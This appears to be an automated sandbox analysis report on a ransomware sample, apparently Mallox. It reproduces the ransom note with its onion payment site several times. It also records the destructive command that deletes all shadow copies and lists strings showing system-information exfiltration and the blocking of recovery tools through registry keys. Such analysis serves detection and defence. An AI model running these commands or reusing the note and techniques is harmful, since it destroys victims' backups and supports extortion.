Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetCookies\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetCache\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\TempState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\SystemAppData\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\RoamingState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\LocalState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Deletes shadow drive data (may be related to ransomware)
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet Jump to behavior
Source: _145.exe, 00000000.00000003.2063471449.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000003.2064147890.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000000.2043016948.0000000000E72000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s|%s|%s|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM*-NO-TAGAES-192-CCM*-NO-TAGAES-256-CCM*-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM*-NO-TAGCAMELLIA-192-CCM*-NO-TAGCAMELLIA-256-CCM*-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM*-NO-TAGARIA-192-CCM*-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512
Source: _145.exe, 00000000.00000003.2064450947.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000003.2065619258.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: vssadmin.exe, 00000003.00000002.2074222049.000001ECEB8A0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietC:\Windows\sysnative\vssadmin.exeWinsta0\Default
Source: vssadmin.exe, 00000003.00000002.2074222049.000001ECEB8A0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: vssadmin.exe, 00000003.00000002.2074363626.000001ECEBA85000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\Windows\sysnative\vssadmin.exedeleteshadows/all/quiet:
Source: _145.exe Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s|%s|%s|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM*-NO-TAGAES-192-CCM*-NO-TAGAES-256-CCM*-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM*-NO-TAGCAMELLIA-192-CCM*-NO-TAGCAMELLIA-256-CCM*-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM*-NO-TAGARIA-192-CCM*-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512
Uses 32bit PE files
Source: _145.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\_145.exe Process Stats: CPU usage > 49%
Sample file is different than original file name gathered from version info
Source: _145.exe, 00000000.00000003.2245387731.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2113220234.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.3041013104.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2234137390.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2253989150.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2276294552.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2267795653.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2164252436.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2865208023.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2222401734.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2955369843.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2212727565.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3002731819.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2177284410.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2176223936.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2279016236.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2211493941.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2624112600.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2244095869.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3022746641.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2138463076.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3030658115.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2994950360.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2167340878.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2960843087.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2169852528.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2170770842.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3026631650.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2239223907.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2215793298.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2241036278.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2132421144.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3036188875.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064211551.00000000046E5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.3024553021.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2135798477.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2242459092.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2168413825.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2259876479.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2142199872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2232783209.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2218505422.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2256838406.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2271372526.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2281686127.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2269948023.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2842090850.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2274365972.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2229599387.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2248365883.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2251301766.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2162580458.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVSSADMIN.EXE.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVSSADMIN.EXEj% vs _145.exe
Source: _145.exe, 00000000.00000003.2064512833.00000000046E2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs _145.exe
Source: _145.exe, 00000000.00000003.2964374833.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2264482854.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2064634029.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2279852201.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2957644083.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2282905702.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.3028086799.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs _145.exe
Source: _145.exe ReversingLabs: Detection: 76%
Source: _145.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
